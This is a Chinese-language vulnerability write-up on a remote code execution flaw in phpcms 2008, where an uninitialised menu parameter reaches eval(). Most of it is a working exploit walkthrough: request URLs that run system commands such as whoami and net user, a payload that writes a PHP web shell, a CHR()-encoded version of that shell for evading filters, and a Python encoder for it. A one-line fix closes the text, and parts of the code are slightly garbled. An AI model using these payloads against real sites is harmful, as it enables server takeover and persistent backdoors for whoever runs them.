phpcms-2008 远程代码执行漏洞
phpcms—2008 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞.
0x01产生漏洞的原因:
在/yp/web/include/common.inc.php文件中,引用$menu变量,没有初始化,导致攻击者控制住这个变量
覆盖原来的变量,进行命令执行操作。
0x02漏洞分析:
/yp/web/include/common.inc.php
$menu=string2array($menu);
这个文件上面没有发现$menu变量,然后再下面的文件使用$menu变量操作
/include/global.func.php
function string2array($data)
{
if($data=='')return array();
eval("\$array=$data;");
return $array();
}
在这个文件中,没有对传过来的$data进行过滤,攻击者会通过$data=dir,将命令传给$menu,这样攻击就形成了
利用的代码
function string2array($data)
{
if($data==’’)return array();
eval(“\$array=$data;”);
return $array();
}
eval("\$array=phpingo();exit();");
exp:
?userid=abc&menu=phpinfo();exit();
0x03漏洞利用:
http://192.168.16.136/phpcms//yp/web/index.php?userid=abc&menu=1;system(dir);exit();
http://192.168.16.136/phpcms/yp/web/index.php?userid=abc&menu=file_put_contents('shell.php‘,’<?php eval($_GETfun);?>’)
shell.php
CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(46).CHR(112).CHR(104).CHR(112)
<?php eval($_GETfun);?>
CHR(60).CHR(63).CHR(112).CHR(104).CHR(112).CHR(32).CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(36).CHR(95).CHR(71).CHR(69).CHR(84).CHR(91).CHR(102).CHR(117).CHR(110).CHR(93).CHR(40).CHR(36).CHR(95).CHR(71).CHR(69).CHR(84).CHR(91).CHR(99).CHR(109).CHR(100).CHR(93).CHR(41).CHR(41).CHR(59).CHR(63).CHR(62)
http://192.168.16.136/phpcms/yp/web/index.php?userid=abc&menu=1;system(dir);exit();
- http://192.168.16.136/phpcms/yp/web/shell.php?fun=system&cmd=whoami
执行命令
http://192.168.16.136/phpcms/yp/web/index.php?id=abc$menu=system(whoami);exit();
http://192.168.16.136/phpcms/yp/web/index.php?userid=abc&menu=system(net.CHR(32).user);exit();
CHR类型转换小代码
text="shell.php"
output=""
for i in range(len(text)):
output+="CHR(%s)" % ord(text[i])
if i <len(text)-1:
output+="."
print output
安全防护
/yp/web/include/common.inc.php
添加:$menu=’’;